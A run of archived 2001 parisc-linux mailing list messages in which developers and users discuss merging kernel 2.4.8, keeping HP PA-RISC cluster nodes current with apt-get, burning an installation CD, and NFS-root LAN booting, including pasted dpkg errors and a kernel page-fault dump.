References: <20010811145450.O22097@neep.com.au>  <20010814173801.D22144@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
X-Trace: ger.gmane.org 1416620386 23718 80.91.229.3 (22 Nov 2014 01:39:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:46 +0000 (UTC)
Cc: Linux/HPPA List <parisc-linux@parisc-linux.org>
To: Matthew Wilcox <willy@debian.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 14:05:16 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.riverrock.org (rrc.dsl.frii.net [216.17.137.11])
	by dsl2.external.hp.com (Postfix) with ESMTP id D39C4482A
	for <parisc-linux@parisc-linux.org>; Tue, 14 Aug 2001 14:05:15 -0600 (MDT)
Original-Received: from bame.riverrock.org (bame.riverrock.org [199.254.238.240])
	by www.riverrock.org (8.9.3/8.9.3/Debian 8.9.3-21) with ESMTP id OAA06359;
	Tue, 14 Aug 2001 14:04:38 -0600
Original-Received: from riverrock.org (really [127.0.0.1]) by bame.riverrock.org
	via smail with esmtp
	id <m15WkQY-000OUsC@bame.riverrock.org> (Debian Smail3.2.0.111)
	for <parisc-linux@parisc-linux.org>; Tue, 14 Aug 2001 14:04:38 -0600 (MDT) 
In-Reply-To: Your message of "Tue, 14 Aug 2001 17:38:01 BST."
             <20010814173801.D22144@parcelfarce.linux.theplanet.co.uk> 
Xref: news.gmane.org gmane.linux.ports.parisc:11888

> On Sat, Aug 11, 2001 at 02:54:53PM +0800, Andrew Shugg wrote:
> > 2.4's patchlevel is getting closer to double digits.  Does this mean
> > upgrades are getting safer?  =)
> > 
> > Or less facetiously, is another CVS merge planned or are there problems
> > in this release as with 2.4.7?  (Don't follow l-k and am just curious.)
> 
> I think we should plan to merge in 2.4.8 this week.  Paul, can you do the
> CVS magic sometime soon?

Possibly tomorrow (Wed) AM

	-P




From - Thu Nov 08 21:18:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Users staying up to date.
Date: Tue, 14 Aug 2001 17:27:37 -0600
Lines: 70
Approved: news@gmane.org
Message-ID: <20010814232737.126BF37DD1@carmen.fc.hp.com>
References: <20010814154037.I25258@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620386 23720 80.91.229.3 (22 Nov 2014 01:39:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:46 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 17:27:39 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel2.hp.com (atlrel2.hp.com [156.153.255.202])
	by dsl2.external.hp.com (Postfix) with ESMTP id 25C6E482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 17:27:39 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel2.hp.com (Postfix) with ESMTP
	id CFC531177; Tue, 14 Aug 2001 19:27:37 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 126BF37DD1; Tue, 14 Aug 2001 17:27:37 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Carlos O'Donell Jr." <carlos@baldric.uwo.ca> 
   of "Tue, 14 Aug 2001 15:40:37 EDT." <20010814154037.I25258@megatonmonkey.net> 
Xref: news.gmane.org gmane.linux.ports.parisc:11889

"Carlos O'Donell Jr." writes...

> I was just looking to bounce some ideas off the list members.
> As an avid user, I was just musing to myself, how can I keep
> everything up to date (kernel/glibc/packages)?

apt-get upgrade

> Obviously the latest kernel/glibc/gcc... will reside in the
> CVS. It's a matter of slurping/building and testing on one
> of our boxen.

All of the binutils/gcc/glibc/palo changes are in the Debian packages in the 
archive. The kernel-image packages should go in soon, but you'll have to 
upgrade your kernel by hand for now.

> The packages are a slightly different matter. Is the 0.9.2
> iso the latest collection of packages?

No it is a snapshot in time of the Debian unstable archive. After installing 
you should apt-get upgrade to get the latest versions of the things you have 
installed. We'll update the packages on the next iso.

> Is anyone in debain-hppa compiling/testing packages?

Yes, lots of people are building and uploading Debian packages for hppa, 
including the Debian autobuilder that automatically attempts to build new 
debian source packages as they are uploaded. There are currently Debian 5747 
packages available for hppa (including the architecture indepenent ones).

> We have a cluster of 30x 715/50's running.
> And for one reason or another have not quite gotten the debian
> installer to run to completetion (nor can I spend the time to
> install on each node... that's what scripts and root tarballs
> are for).
> 
> Instead we have used the baseplus tar from sid to install the nodes.
> The only extra packages we required were NIS(yp*) and MPICH(1.2.1).

baseplus is really old. You should really use the Debian installer (or at 
least roll a new base tarball).

> I recently found though, that when compiling more complicated
> MPI programs, cc and ld start dropping SIG11's like there was
> no tommorow (more on this after I do some testing).

I wouldn't trust the old base tarball(or any system assembled by hand for that 
matter). Try a fresh install and post the results to the list.

> Is there a fundamental flaw in using sid's baseplus tarball for
> the 715/50 systems?

Yes, the old base tarball probably isn't total clean wrt the alignment needed 
for 715/50.

> Really, I'm just looking for a simple way to stay up to date
> with all the latest packages and kernel changes :)

man apt

Bdale's comments were good too.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:18:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Users staying up to date.
Date: Wed, 15 Aug 2001 01:00:34 +0100
Lines: 55
Approved: news@gmane.org
Message-ID: <20010815010034.K22144@parcelfarce.linux.theplanet.co.uk>
References: <20010814154037.I25258@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620386 23725 80.91.229.3 (22 Nov 2014 01:39:46 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:46 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 18:00:37 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id DF5C3482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 18:00:36 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15Wo6s-00012v-00; Wed, 15 Aug 2001 01:00:34 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010814154037.I25258@megatonmonkey.net>; from carlos@baldric.uwo.ca on Tue, Aug 14, 2001 at 03:40:37PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11890

On Tue, Aug 14, 2001 at 03:40:37PM -0400, Carlos O'Donell Jr. wrote:
> Obviously the latest kernel/glibc/gcc... will reside in the
> CVS. It's a matter of slurping/building and testing on one
> of our boxen.

Actually, the debian glibc package has more uptodate bits than our CVS tree.

> The packages are a slightly different matter. Is the 0.9.2
> iso the latest collection of packages? Is anyone in debain-hppa
> compiling/testing packages?

we're compiling packages constantly.  we have a lack of testing though,
which is what we rely on people like you for :-)

> Instead we have used the baseplus tar from sid to install the nodes.
> The only extra packages we required were NIS(yp*) and MPICH(1.2.1).

We seem to have those compiled already in debian...

> I recently found though, that when compiling more complicated
> MPI programs, cc and ld start dropping SIG11's like there was
> no tommorow (more on this after I do some testing).

OK, I'd be interested to see more detail once we're sure you're on
an uptodate system.

> We were doing:
> 1- Unpack sid baseplus root tarball
> 2- x-compiled and installed NIS(yp*) and MPICH
> 3- Use this as my new root tarball for the rest of the cluster
> 
> Should I be doing:
> 
> 1- Unpack sid baseplus and export via nfs
> 2- Download latest debs and export via nfs
> 3- Boot "clone" box with nfs root
> 4- Point apt to the debs on the nfs share
> 5- Update packages like mad
> 6- Use "clone" as my new root tarball for the rest of the cluster

You should be doing:

Run debian installer to completion on one machine
apt-get dist-upgrade
apt-get install nis mpich
tar up / and copy it to all other machines

If the latest debian installer (never mind what's on the CDs) doesn't
work, then please report the problems.

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:50 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Jaime Ash" <jaimeash@home.com>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Creating the installation CD
Date: Tue, 14 Aug 2001 17:12:57 -0700
Lines: 20
Approved: news@gmane.org
Message-ID: <NEBBJAILOLAHGDBEOCIOAEFJCFAA.jaimeash@home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
	charset="iso-8859-1"
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416620387 23728 80.91.229.3 (22 Nov 2014 01:39:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:47 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 18:12:13 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from femail6.sdc1.sfba.home.com (femail6.sdc1.sfba.home.com [24.0.95.86])
	by dsl2.external.hp.com (Postfix) with ESMTP id 22EB2482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 18:12:13 -0600 (MDT)
Original-Received: from jaimesnewpc ([24.254.24.106]) by femail6.sdc1.sfba.home.com
          (InterMail vM.4.01.03.20 201-229-121-120-20010223) with SMTP
          id <20010815001211.LUCR17978.femail6.sdc1.sfba.home.com@jaimesnewpc>
          for <parisc-linux@lists.parisc-linux.org>;
          Tue, 14 Aug 2001 17:12:11 -0700
X-Priority: 3 (Normal)
X-MSMail-Priority: Normal
X-Mailer: Microsoft Outlook IMO, Build 9.0.2416 (9.0.2910.0)
Importance: Normal
X-MimeOLE: Produced By Microsoft MimeOLE V5.50.4522.1200
Xref: news.gmane.org gmane.linux.ports.parisc:11891

I am in the process of trying to upgrade my PA-Linux machine (model HP 715)
from version 0.6 to version 0.9.2, and also trying to install version 0.9.2
on an HP 735.

I have already extracted the file named "palinux-0.9.2.iso" from the
downloaded file, but I do not know how to proceed from there to create the
installation CD.  (Note that for version 0.6 I had used an installation CD
that I got from Grant Grundler, so I never learned how he created the CD,
and now he is on LOA).

So my question to you is, what is the process for going from the *.iso file
to create the CD.

Sincerely,

Jaime Ash
email: jaimeash@home.com




From - Thu Nov 08 21:18:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matt Taggart <taggart@carmen.fc.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Creating the installation CD
Date: Tue, 14 Aug 2001 18:17:24 -0600
Lines: 19
Approved: news@gmane.org
Message-ID: <20010815001724.48B0537DD1@carmen.fc.hp.com>
References: <NEBBJAILOLAHGDBEOCIOAEFJCFAA.jaimeash@home.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620387 23730 80.91.229.3 (22 Nov 2014 01:39:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:47 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: "Jaime Ash" <jaimeash@home.com>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 18:17:25 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from atlrel6.hp.com (atlrel6.hp.com [192.151.27.8])
	by dsl2.external.hp.com (Postfix) with ESMTP id C04C3482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 18:17:25 -0600 (MDT)
Original-Received: from carmen.fc.hp.com (carmen.fc.hp.com [15.1.51.72])
	by atlrel6.hp.com (Postfix) with ESMTP
	id C06701F926; Tue, 14 Aug 2001 20:17:24 -0400 (EDT)
Original-Received: from carmen.fc.hp.com (localhost [127.0.0.1])
	by carmen.fc.hp.com (Postfix) with ESMTP
	id 48B0537DD1; Tue, 14 Aug 2001 18:17:24 -0600 (MDT)
X-Mailer: exmh version 2.3.1 01/18/2001 (debian 2.3.1-1) with nmh-1.0.4+dev
In-Reply-To: Message from "Jaime Ash" <jaimeash@home.com> 
   of "Tue, 14 Aug 2001 17:12:57 PDT." <NEBBJAILOLAHGDBEOCIOAEFJCFAA.jaimeash@home.com> 
Xref: news.gmane.org gmane.linux.ports.parisc:11892

"Jaime Ash" writes...

> So my question to you is, what is the process for going from the *.iso file
> to create the CD.

The file you grabbed is gzipped so you'll need to gunzip it first. Then use 
your favorite CD burning software to burn it as is. I use X-CD-Roast but you 
can even use MSWindows based programs (or so I've heard).

If you have problems booting, send the errors to the list.

-- 
Matt Taggart        Linux Development Lab
taggart@fc.hp.com   HP Linux Systems Operation






From - Thu Nov 08 21:18:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Kernel 2.4.8
Date: Wed, 15 Aug 2001 01:57:53 +0100
Lines: 19
Approved: news@gmane.org
Message-ID: <20010815015753.L22144@parcelfarce.linux.theplanet.co.uk>
References: <20010811145450.O22097@neep.com.au> <20010814173801.D22144@parcelfarce.linux.theplanet.co.uk> <m15WkQY-000OUsC@bame.riverrock.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620387 23732 80.91.229.3 (22 Nov 2014 01:39:47 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:47 +0000 (UTC)
Cc: Matthew Wilcox <willy@debian.org>,
	Linux/HPPA List <parisc-linux@parisc-linux.org>
To: Paul Bame <bame@riverrock.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 18:58:01 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id B3893482A
	for <parisc-linux@parisc-linux.org>; Tue, 14 Aug 2001 18:57:59 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15Wp0L-00023T-00; Wed, 15 Aug 2001 01:57:53 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <m15WkQY-000OUsC@bame.riverrock.org>; from bame@riverrock.org on Tue, Aug 14, 2001 at 02:04:38PM -0600
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11893

On Tue, Aug 14, 2001 at 02:04:38PM -0600, Paul Bame wrote:
> > I think we should plan to merge in 2.4.8 this week.  Paul, can you do the
> > CVS magic sometime soon?
> 
> Possibly tomorrow (Wed) AM

Sounds good to me -- there is one already applied patch (pci.txt), and
two failures -- Makefile (trivial) and include/linux/netdevice.h which
got fixed a different way upstream.

Other than that, there are no textual conflicts.  I guess we'll find out
tomorrow what architecture changes are needed (Alan tells me he suspects
none are needed).

-- 
Revolutions do not require corporate support.




From - Thu Nov 08 21:18:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Users staying up to date.
Date: Tue, 14 Aug 2001 21:50:30 -0400
Lines: 163
Approved: news@gmane.org
Message-ID: <20010814215030.A26703@megatonmonkey.net>
References: <20010814154037.I25258@megatonmonkey.net> <20010815010034.K22144@parcelfarce.linux.theplanet.co.uk>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620388 23738 80.91.229.3 (22 Nov 2014 01:39:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:48 +0000 (UTC)
Cc: baldric-exec@baldric.uwo.ca
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 19:50:03 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1603C482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 19:50:02 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f7F21JX32445;
	Tue, 14 Aug 2001 22:01:19 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f7F1oUg26870;
	Tue, 14 Aug 2001 21:50:30 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010815010034.K22144@parcelfarce.linux.theplanet.co.uk>; from willy@debian.org on Wed, Aug 15, 2001 at 01:00:34AM +0100
X-Useless-Header: oooohhmmm, chant the email mantra...
Xref: news.gmane.org gmane.linux.ports.parisc:11894

> > I recently found though, that when compiling more complicated
> > MPI programs, cc and ld start dropping SIG11's like there was
> > no tommorow (more on this after I do some testing).
> 
> OK, I'd be interested to see more detail once we're sure you're on
> an uptodate system.
> 
> Run debian installer to completion on one machine
> apt-get dist-upgrade
> apt-get install nis mpich
> tar up / and copy it to all other machines
> 
> If the latest debian installer (never mind what's on the CDs) doesn't
> work, then please report the problems.
>

Thanks for all the feedback.

In general, I don't want to submit a bugreport and have the
list say "That's already fixed in the latest updated package" :)

Which is the reason for my original post.

"How does one stay ontop of a _moving_ target 
 like the PARISC development team?"
- Anonymous Coward :)


I will try out the latest debain intaller and feedback to the list.

I'm currently running apt-get on one of our nodes, and trying
to get it to an updated state.

Hrm. apg-get segfaults randomly. 

If at first you don't succeed, run, run and run again
(until it stops segfaulting).

<Carlos looks at terminal>
Ohhhhh.... it's working!
And traveling through time as tar seems to be reminiscing about how
it's unpacking a file it hasn't made yet, because the obviously correct 
system clock has warned it against time travel :}

Ouch...

--------------
[Nearing the end of apt-get -f dist-update]

Writing passwd-file to /etc/passwd.upwd-write
Replacing "/etc/passwd" with "/etc/passwd.upwd-write"
Writing group-file to /etc/group.upwd-write
Replacing "/etc/group" with "/etc/group.upwd-write"
dpkg: error processing base-passwd (--configure):
 subprocess post-installation script returned error exit status 127
Errors were encountered while processing:
 base-passwd
E: Sub-process /usr/bin/dpkg returned an error code (1)

[So I run it again]

root@node10:/# apt-get -f dist-upgrade
Segmentation faultsts... 43%
root@node10:/# 

[Ouch...]
[With a dump in /var/log/messages]

[dmesg]

do_page_fault() pid=13164 command='apt-get' type=6 address=0x40040dd7
vm_start = 0x3ff13000, vm_end = 0x400a4000

     YZrvWESTHLNXBCVMcbcbcbcbOGFRQPDI
PSW: 00000000000001001111110000001111
r0-3	 00000000 000002f4 40040dd7 00022350
r4-7	 400c98e0 00022330 faf00948 faf00924
r8-11	 faf00958 00000001 0001dbe5 faf00888
r12-15	 faf00920 00000030 faf008b8 faf008b0
r16-19	 faf00760 faf008a4 faf00748 4030c57c
r20-23	 3ff13000 00000000 00000005 00000001
r24-27	 00000001 00190eb9 00000000 0001d900
r28-31	 3ff13000 00000000 faf00c80 4029fdab
sr0-3	 00000000 000002f4 00000000 000002f4
sr4-7	 000002f4 000002f4 000002f4 000002f4

IASQ: 000002f4 000002f4 IAOQ: 40040dd7 40040ddb
 IIR: 081c0254    ISR: 000002f4  IOR: 404a0004
ORIG_R28: 00190eb9

-------------

We're running a hand rolled:
Linux node10 2.4.0 #37 Tue Jul 17 22:33:26 EDT 2001 parisc unknown

This apt-update was done from a system based on the unstable
baseplus tar.

-------------

[However, I ran it again, like the good robot I am.]
[I kept running it infact, until I get int the following situation:]

root@node10:/# apt-get -f dist-upgrade
Reading Package Lists... Done
Building Dependency Tree... Done
Calculating Upgrade... Done
The following NEW packages will be installed:
  autoconf2.13 autotools-dev groff-base libdb3 
118 packages upgraded, 4 newly installed, 0 to remove and 0  not upgraded.
8 packages not fully installed or removed.
Need to get 1105kB/47.5MB of archives. After unpacking 6158kB will be used.
Do you want to continue? [Y/n] Y
Get:1 http://http.us.debian.org unstable/main dpkg 1.9.16 [1105kB]
Fetched 1105kB in 25s (42.7kB/s)                                                        
debconf: cannot preconfigure packages -- apt-utils is not installed
tar: ./conffiles: time stamp 2001-04-23 18:17:20 is 980225879 s in the future
tar: ./preinst: time stamp 1999-11-24 19:14:54 is 935650533 s in the future
tar: ./prerm: time stamp 1999-11-24 19:14:54 is 935650533 s in the future
tar: ./postinst: time stamp 2000-12-23 15:25:50 is 969764789 s in the future
tar: ./control: time stamp 2001-07-06 14:33:14 is 986606033 s in the future
(Reading database ... 17525 files and directories currently installed.)
Preparing to replace dpkg 1.8.3 (using .../archives/dpkg_1.9.16_hppa.deb) ...
Unpacking replacement dpkg ...
dpkg: error processing /var/cache/apt/archives/dpkg_1.9.16_hppa.deb (--unpack):
 trying to overwrite directory `/usr/share/locale/cs' in package texinfo with nondirectory
dpkg-deb: subprocess paste killed by signal (Broken pipe)
Errors were encountered while processing:
 /var/cache/apt/archives/dpkg_1.9.16_hppa.deb
E: Sub-process /usr/bin/dpkg returned an error code (1)
root@node10:/# 

--------------


In light of these problems.

I think I'm going to:

- Build a newer kernel.
- Try the latest debian installer.
- Give apt another shot at upgrading the system.

--------------

[Musing]

I wonder if running the 715/50's as diskless nodes is as bad an
idea as I originally thought. Would 10Mbit switched be faster than
the 1gig SCSI drive? (HP C2247M1 0BW4)... probably not.

However, it would give us many more active nodes, since many of
our systems are just missing drives :}

Cheers,
Carlos.
-------------------------
Baldric Project
http://www.baldric.uwo.ca
-------------------------




From - Thu Nov 08 21:18:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] LAN booting
Date: Tue, 14 Aug 2001 22:49:05 -0400
Lines: 44
Approved: news@gmane.org
Message-ID: <20010814224905.B26703@megatonmonkey.net>
References: <christian@familie-weerts.de> <200108132355.RAA14012@puffin.external.hp.com> <20010814135337.C345@familie-weerts.de>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620388 23741 80.91.229.3 (22 Nov 2014 01:39:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:48 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 20:48:36 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from megatonmonkey.net (cr821974-a.lndn1.on.wave.home.com [24.112.53.173])
	by dsl2.external.hp.com (Postfix) with ESMTP id 121F7482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 20:48:35 -0600 (MDT)
Original-Received: from sh.od.inet (IDENT:root@systemhalted [192.168.1.1])
	by megatonmonkey.net (8.11.0/8.11.0) with ESMTP id f7F2xuX00381
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 22:59:56 -0400
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id f7F2n5J27927
	for parisc-linux@lists.parisc-linux.org; Tue, 14 Aug 2001 22:49:05 -0400
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010814135337.C345@familie-weerts.de>; from christian@familie-weerts.de on Tue, Aug 14, 2001 at 01:53:37PM +0000
X-Useless-Header: oooohhmmm, chant the email mantra...
X-Mailer: Patched Mutt OS 1.2.5 - Neural Implant ()
Xref: news.gmane.org gmane.linux.ports.parisc:11895

> I will try, but first i had to boot the machine over LAN, that's my problem
> at the moment.
> The RISC-Machine tells something like "Error: cannot load IPL, error
> detected. Bootprocess failed..."
> Perhaps you could help me, so i attach the bootptab and the dhcp-conf. Also
> attached are the daemon.log and output from tcpdump. Btw., gorilla is the
> server and mirage the client.
> I don't know what's wrong. 
> On the risc-machine i told him to boot from the lan.<hw-addr-server>.
> 

There should be nothing wrong with booting over the lan.

I did not receive any attachments with this email?

> Ack.

Cross compiling is really not all that bad 8)

> > Could you mount the 0.92 ISO on an x86-linux box and steal that kernel?
> > (there are probably several but just try the 32-bit ones.)
> I'll try. So, you mean i don't need the nfsroot-package named in Martin's
> HOWTO?

You can use it.

If you handroll a kernel with nfs-root parameters 
and setup an nfs share for you root, you
can boot without a disk onto the nfs-root.

What do you put on your nfs-root?:

- The unpacked nfsroot tarball
- sid baseplus tarball (under the debian directories).
- nothing (You get to check if the setup is okay, 
  though the kernel will panic when it doesn't find /)

Cheers,
Carlos.






From - Thu Nov 08 21:18:50 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Matthew Wilcox <willy@debian.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Users staying up to date.
Date: Wed, 15 Aug 2001 04:16:10 +0100
Lines: 44
Approved: news@gmane.org
Message-ID: <20010815041610.M22144@parcelfarce.linux.theplanet.co.uk>
References: <20010814154037.I25258@megatonmonkey.net> <20010815010034.K22144@parcelfarce.linux.theplanet.co.uk> <20010814215030.A26703@megatonmonkey.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416620388 23743 80.91.229.3 (22 Nov 2014 01:39:48 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:39:48 +0000 (UTC)
To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	parisc-linux@lists.parisc-linux.org, baldric-exec@baldric.uwo.ca
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Aug 14 21:16:12 2001
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from www.linux.org.uk (parcelfarce.linux.theplanet.co.uk [195.92.249.252])
	by dsl2.external.hp.com (Postfix) with ESMTP id 1418A482A
	for <parisc-linux@lists.parisc-linux.org>; Tue, 14 Aug 2001 21:16:12 -0600 (MDT)
Original-Received: from willy by www.linux.org.uk with local (Exim 3.13 #1)
	id 15WrAA-0004Xp-00; Wed, 15 Aug 2001 04:16:10 +0100
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <20010814215030.A26703@megatonmonkey.net>; from carlos@baldric.uwo.ca on Tue, Aug 14, 2001 at 09:50:30PM -0400
Original-Sender: <willy@www.linux.org.uk>
Xref: news.gmane.org gmane.linux.ports.parisc:11896

On Tue, Aug 14, 2001 at 09:50:30PM -0400, Carlos O'Donell Jr. wrote:
> In general, I don't want to submit a bugreport and have the
> list say "That's already fixed in the latest updated package" :)

That's fair enough.

> I'm currently running apt-get on one of our nodes, and trying
> to get it to an updated state.
> 
> Hrm. apg-get segfaults randomly. 

Yes, it does.  Until you've managed to get sully synced up to latest
toolchain/libs/kernel at which point, it magically stops.

> We're running a hand rolled:
> Linux node10 2.4.0 #37 Tue Jul 17 22:33:26 EDT 2001 parisc unknown

OK, you _definitely_ need to update this.  You could pull from CVS or
grab a snapshot tarball, see the webpages on how to do this.

> (Reading database ... 17525 files and directories currently installed.)
